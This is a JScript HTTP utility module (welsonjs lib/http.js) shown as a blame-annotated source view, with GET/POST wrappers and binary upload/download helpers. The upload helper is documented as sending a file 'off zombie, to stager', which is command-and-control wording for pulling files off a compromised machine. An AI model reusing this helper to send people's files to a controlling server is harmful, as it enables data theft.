welsonjs/lib/http.js

129 lines
3.1 KiB
JavaScript
Raw Normal View History

2020-06-28 14:22:57 +00:00
////////////////////////////////////////////////////////////////////////
// HTTP API
////////////////////////////////////////////////////////////////////////
2020-07-03 09:15:23 +00:00
var scope = {
VERSIONINFO: "HTTP Module (http.js) version 0.1",
global: global,
require: global.require
};
2020-06-28 14:22:57 +00:00
var LIB = require('lib/std');
2020-07-03 09:15:23 +00:00
scope.create = function() {
2020-06-28 14:22:57 +00:00
var http = null;
try {
http = LIB.CreateObject("Microsoft.XMLHTTP");
} catch (e) {
http = LIB.CreateObject("WinHttp.WinHttpRequest.5.1");
http.setTimeouts(30000, 30000, 30000, 0)
}
return http;
}
2020-07-03 09:15:23 +00:00
scope.addHeaders = function(http, headers) {
2020-06-28 14:22:57 +00:00
var headers = (typeof(headers) !== "undefined") ? headers : {};
var content = false;
for (var key in headers) {
var value = headers[key];
http.setRequestHeader(key, value);
if (key.toUpperCase() == "CONTENT-TYPE")
content = true;
}
if (!content)
http.setRequestHeader("Content-Type", "application/octet-stream");
};
2020-07-03 09:15:23 +00:00
scope.post = function(url, data, headers) {
2020-06-28 14:22:57 +00:00
var data = (typeof(data) !== "undefined") ? data : "";
2020-07-03 09:15:23 +00:00
var http = scope.create();
2020-06-28 14:22:57 +00:00
http.open("POST", url, false);
2020-07-03 09:15:23 +00:00
scope.addHeaders(http, headers);
2020-06-28 14:22:57 +00:00
http.send(data);
return http;
};
2020-07-03 09:15:23 +00:00
scope.get = function(url, headers) {
var http = scope.create();
2020-06-28 14:22:57 +00:00
http.open("GET", url, false);
2020-07-03 09:15:23 +00:00
scope.addHeaders(http, headers);
2020-06-28 14:22:57 +00:00
http.send();
return http;
};
/**
* Upload a file, off zombie, to stager
*
* @param filepath - the full path to the file to send
* @param header_uuid - a unique identifier for this file
* @param header_key - optional HTTP header tag to send uuid over
*
* @return object - the HTTP object
*
**/
2020-07-03 09:15:23 +00:00
scope.upload = function(filepath, header_uuid, header_key) {
2020-06-28 14:22:57 +00:00
var key = (typeof(header_key) !== "undefined") ? header_key : "ETag";
var data = $.file.readBinary(filepath);
// we must replace null bytes or MS will cut off the body
data = data.replace(/\\/g, "\\\\");
data = data.replace(/\0/g, "\\0");
var headers = {};
headers[key] = header_uuid;
return $.work.report(data, headers);
};
2020-07-03 09:15:23 +00:00
scope.download = function(filepath, header_uuid, header_key) {
2020-06-28 14:22:57 +00:00
var key = (typeof(header_key) !== "undefined") ? header_key : "ETag";
var headers = {};
headers[key] = header_uuid;
2020-07-03 09:15:23 +00:00
return scope.downloadEx("POST", $.work.make_url(), headers, filepath);
2020-06-28 14:22:57 +00:00
};
2020-07-03 09:15:23 +00:00
scope.downloadEx = function(verb, url, headers, path) {
2020-06-28 14:22:57 +00:00
if (verb == "GET") {
2020-07-03 09:15:23 +00:00
var http = scope.get(url, headers);
2020-06-28 14:22:57 +00:00
} else {
2020-07-03 09:15:23 +00:00
var http = scope.post(url, "", headers);
2020-06-28 14:22:57 +00:00
}
var stream = LIB.CreateObject("Adodb.Stream");
stream.Type = 1;
stream.Open();
stream.Write(http.responseBody);
2020-07-03 09:15:23 +00:00
var data = scope.bin2str(stream);
2020-06-28 14:22:57 +00:00
$.file.write(path, data);
};
2020-07-03 09:15:23 +00:00
scope.bin2str = function(stream) {
2020-06-28 14:22:57 +00:00
stream.Flush();
stream.Position = 0;
var bin = stream.Read();
var rs = LIB.CreateObject("Adodb.RecordSet");
rs.Fields.Append("temp", 201, stream.Size);
rs.Open();
rs.AddNew();
rs("temp").AppendChunk(bin);
rs.Update();
var data = rs.GetString();
rs.Close();
return data.substring(0, data.length - 1);
};
2020-07-03 09:15:23 +00:00
return scope;